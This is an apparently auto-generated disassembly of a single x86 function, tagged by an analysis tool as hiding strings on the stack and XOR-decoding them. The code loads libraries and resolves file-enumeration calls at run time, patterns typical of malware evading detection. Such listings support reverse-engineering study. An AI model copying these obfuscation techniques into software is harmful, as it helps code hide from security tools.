Function at 0x45c618
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b0
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0xd], 0x71716001
mov esi, ecx
mov dword [ebp - 9], 0x60756065
push edi
mov dword [ebp - 0x3c], esi
mov dl, 1
mov byte [ebp - 5], bl
mov eax, ebx
xor byte [ebp + eax - 0xc], dl
inc eax
cmp eax, 7
jae 0x45c64f
mov dl, byte [ebp - 0xd]
jmp 0x45c640
lea eax, [ebp - 0xc]
mov byte [ebp - 5], bl
push eax
call fcn.0046e9c4
pop ecx
push eax
lea ecx, [ebp - 0x6c]
call fcn.00403ae8
mov cl, 0x6b
mov dword [ebp - 0x12], 0xe070e6b
mov dword [ebp - 0xe], 0x1e191f08
mov eax, ebx
mov dword [ebp - 0xa], 0xa0f4506
mov word [ebp - 6], 0x1f
xor byte [ebp + eax - 0x11], cl
inc eax
cmp eax, 0xc
jae 0x45c693
mov cl, byte [ebp - 0x12]
jmp 0x45c684
lea eax, [ebp - 0x11]
mov byte [ebp - 5], bl
push eax
lea ecx, [ebp - 0x38]
call fcn.00403ae8
mov cl, 0x59
mov dword [ebp - 0xf], 0x351c0559
mov dword [ebp - 0xb], 0x2b2d3a3c
mov eax, ebx
mov word [ebp - 7], 0x342c
mov byte [ebp - 5], bl
xor byte [ebp + eax - 0xe], cl
inc eax
cmp eax, 9
jae 0x45c6cc
mov cl, byte [ebp - 0xf]
jmp 0x45c6bd
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x38]
push ebx
push 1
push edi
push eax
lea eax, [ebp - 0xe]
mov byte [ebp - 5], bl
push eax
lea edx, [ebp - 0x6c]
lea ecx, [ebp - 0x54]
call fcn.00403d39
pop ecx
push eax
mov ecx, esi
call fcn.00457fc2
lea ecx, [ebp - 0x54]
call fcn.00403b2e
lea ecx, [ebp - 0x38]
call fcn.00403b2e
mov cl, 0x68
mov dword [ebp - 0xd], 0x91f4668
mov dword [ebp - 9], 0x1c0d0404
mov eax, ebx
mov byte [ebp - 5], bl
xor byte [ebp + eax - 0xc], cl
inc eax
cmp eax, 7
jae 0x45c726
mov cl, byte [ebp - 0xd]
jmp 0x45c717
lea eax, [ebp - 0xc]
mov byte [ebp - 5], bl
push eax
lea ecx, [ebp - 0x38]
call fcn.00403ae8
mov cl, 0x4d
mov dword [ebp - 0xf], 0x3800114d
mov dword [ebp - 0xb], 0xf243921
mov eax, ebx
mov word [ebp - 7], 0x3924
mov byte [ebp - 5], bl
xor byte [ebp + eax - 0xe], cl
inc eax
cmp eax, 9
jae 0x45c75f
mov cl, byte [ebp - 0xf]
jmp 0x45c750
push ebx
push 1
push edi
lea eax, [ebp - 0x38]
mov byte [ebp - 5], bl
push eax
lea eax, [ebp - 0xe]
push eax
lea edx, [ebp - 0x6c]
lea ecx, [ebp - 0x54]
call fcn.00403d39
pop ecx
push eax
mov ecx, esi
call fcn.00457fc2
lea ecx, [ebp - 0x54]
call fcn.00403b2e
lea ecx, [ebp - 0x38]
call fcn.00403b2e
mov cl, 0x70
mov dword [ebp - 0xd], 0x11075e70
mov dword [ebp - 9], 0x4151c1c
mov eax, ebx
mov byte [ebp - 5], bl
xor byte [ebp + eax - 0xc], cl
inc eax
cmp eax, 7
jae 0x45c7b6
mov cl, byte [ebp - 0xd]
jmp 0x45c7a7
lea eax, [ebp - 0xc]
mov byte [ebp - 5], bl
push eax
lea ecx, [ebp - 0x38]
call fcn.00403ae8
mov cl, 8
mov dword [ebp - 0xd], 0x7a495408
mov dword [ebp - 9], 0x717a6765
mov eax, ebx
mov byte [ebp - 5], bl
xor byte [ebp + eax - 0xc], cl
inc eax
cmp eax, 7
jae 0x45c7e9
mov cl, byte [ebp - 0xd]
jmp 0x45c7da
push ebx
push 1
push edi
lea eax, [ebp - 0x38]
mov byte [ebp - 5], bl
push eax
lea eax, [ebp - 0xc]
push eax
lea edx, [ebp - 0x6c]
lea ecx, [ebp - 0x54]
call fcn.00403d39
pop ecx
push eax
mov ecx, esi
call fcn.00457fc2
lea ecx, [ebp - 0x54]
call fcn.00403b2e
lea ecx, [ebp - 0x38]
call fcn.00403b2e
mov cl, 0x7c
mov byte [ebp - 0x1d], bl
mov al, 0x56
mov byte [ebp - 0x1f], cl
xor al, cl
lea ecx, [ebp - 0x1c]
mov byte [ebp - 0x1e], al
lea eax, [ebp - 0x1e]
push eax
call fcn.00403ae8
movaps xmm0, xmmword [0x49d930]
mov ecx, ebx
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x24], 0x3e2934
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x12
jb 0x45c84b
push ebx
push 1
push edi
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x21], bl
push eax
lea eax, [ebp - 0x33]
push eax
lea edx, [ebp - 0x6c]
lea ecx, [ebp - 0x54]
call fcn.00403d39
pop ecx
push eax
mov ecx, esi
call fcn.00457fc2
lea ecx, [ebp - 0x54]
call fcn.00403b2e
lea ecx, [ebp - 0x1c]
call fcn.00403b2e
mov cl, 0x76
mov dword [ebp - 0xe], 0x1585c76
mov dword [ebp - 0xa], 0x131a1a17
mov eax, ebx
mov word [ebp - 6], 2
xor byte [ebp + eax - 0xd], cl
inc eax
cmp eax, 8
jae 0x45c8b2
mov cl, byte [ebp - 0xe]
jmp 0x45c8a3
lea eax, [ebp - 0xd]
mov byte [ebp - 5], bl
push eax
lea ecx, [ebp - 0x38]
call fcn.00403ae8
mov cl, 0x47
mov dword [ebp - 0xf], 0x3e251b47
mov dword [ebp - 0xb], 0x28242233
mov eax, ebx
mov word [ebp - 7], 0x292e
mov byte [ebp - 5], bl
xor byte [ebp + eax - 0xe], cl
inc eax
cmp eax, 9
jae 0x45c8eb
mov cl, byte [ebp - 0xf]
jmp 0x45c8dc
push ebx
push 1
push edi
lea eax, [ebp - 0x38]
mov byte [ebp - 5], bl
push eax
lea eax, [ebp - 0xe]
push eax
lea edx, [ebp - 0x6c]
lea ecx, [ebp - 0x54]
call fcn.00403d39
pop ecx
push eax
mov ecx, esi
call fcn.00457fc2
lea ecx, [ebp - 0x54]
call fcn.00403b2e
lea ecx, [ebp - 0x38]
call fcn.00403b2e
push ebx
push edi
lea eax, [ebp - 0x6c]
mov ecx, esi
push eax
call fcn.00458ea3
push 0x33
pop ecx
mov byte [ebp - 0x20], cl
mov eax, ebx
mov word [ebp - 0x1f], 0x196f
mov byte [ebp - 0x1d], bl
xor byte [ebp + eax - 0x1f], cl
inc eax
cmp eax, 2
jae 0x45c94b
mov cl, byte [ebp - 0x20]
jmp 0x45c93c
lea eax, [ebp - 0x1f]
mov byte [ebp - 0x1d], bl
push eax
mov edx, edi
lea ecx, [ebp - 0x54]
call fcn.00403d39
mov esi, eax
pop ecx
cmp dword [esi + 0x14], 0x10
jb 0x45c967
mov esi, dword [esi]
mov cl, 0x27
mov dword [ebp - 0x12], 0x55426c27
mov dword [ebp - 0xe], 0x144b4249
mov eax, ebx
mov dword [ebp - 0xa], 0x4b430915
mov word [ebp - 6], 0x4b
xor byte [ebp + eax - 0x11], cl
inc eax
cmp eax, 0xc
jae 0x45c995
mov cl, byte [ebp - 0x12]
jmp 0x45c986
mov edi, dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
lea eax, [ebp - 0x11]
push eax
mov byte [ebp - 5], bl
call edi
test eax, eax
jne 0x45c9ac
mov eax, ebx
jmp 0x45c9b8
mov edx, str.FindFirstFileA
mov ecx, eax
call fcn.00401390
lea ecx, [ebp - 0x1ac]
push ecx
push esi
call eax
lea ecx, [ebp - 0x54]
mov esi, eax
call fcn.00403b2e
cmp esi, 0xffffffff
je 0x45ca37
test byte [ebp - 0x1ac], 0x10
mov eax, ebx
je 0x45ca65
mov cl, 0x2e
mov dword [ebp - 0x2e], 0x5c4b652e
mov dword [ebp - 0x2a], 0x1d424b40
mov dword [ebp - 0x26], 0x424a001c
mov word [ebp - 0x22], 0x42
xor byte [ebp + eax - 0x2d], cl
inc eax
cmp eax, 0xc
jae 0x45ca0c
mov cl, byte [ebp - 0x2e]
jmp 0x45c9fd
lea eax, [ebp - 0x2d]
mov byte [ebp - 0x21], bl
push eax
call edi
test eax, eax
jne 0x45ca1d
mov eax, ebx
jmp 0x45ca29
mov edx, 0x4940d0
mov ecx, eax
call fcn.00401390
lea ecx, [ebp - 0x1ac]
push ecx
push esi
call eax
test eax, eax
jne 0x45c9d1
mov cl, 0xc
mov dword [ebp - 0x2e], 0x7e69470c
mov dword [ebp - 0x2a], 0x3f606962
mov eax, ebx
mov dword [ebp - 0x26], 0x6068223e
mov word [ebp - 0x22], 0x60
xor byte [ebp + eax - 0x2d], cl
inc eax
cmp eax, 0xc
jae 0x45cabb
mov cl, byte [ebp - 0x2e]
jmp 0x45ca56
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x2e], 0x21361853
mov dword [ebp - 0x2a], 0x603f363d
mov dword [ebp - 0x26], 0x3f377d61
mov byte [ecx + 0xd9], 1
mov cl, 0x53
mov word [ebp - 0x22], 0x3f
xor byte [ebp + eax - 0x2d], cl
inc eax
cmp eax, 0xc
jae 0x45ca9b
mov cl, byte [ebp - 0x2e]
jmp 0x45ca8c
lea eax, [ebp - 0x2d]
mov byte [ebp - 0x21], bl
push eax
call edi
test eax, eax
je 0x45cab6
mov edx, 0x4940e0
mov ecx, eax
call fcn.00401390
mov ebx, eax
push esi
call ebx
jmp 0x45cae6
lea eax, [ebp - 0x2d]
mov byte [ebp - 0x21], bl
push eax
call edi
test eax, eax
je 0x45cad6
mov edx, 0x4940e0
mov ecx, eax
call fcn.00401390
mov ebx, eax
push esi
call ebx
mov ecx, dword [ebp - 0x3c]
push 1
push dword [ebp + 8]
call fcn.00401604
lea ecx, [ebp - 0x6c]
call fcn.00403b2e
pop edi
pop esi
pop ebx
leave
ret 4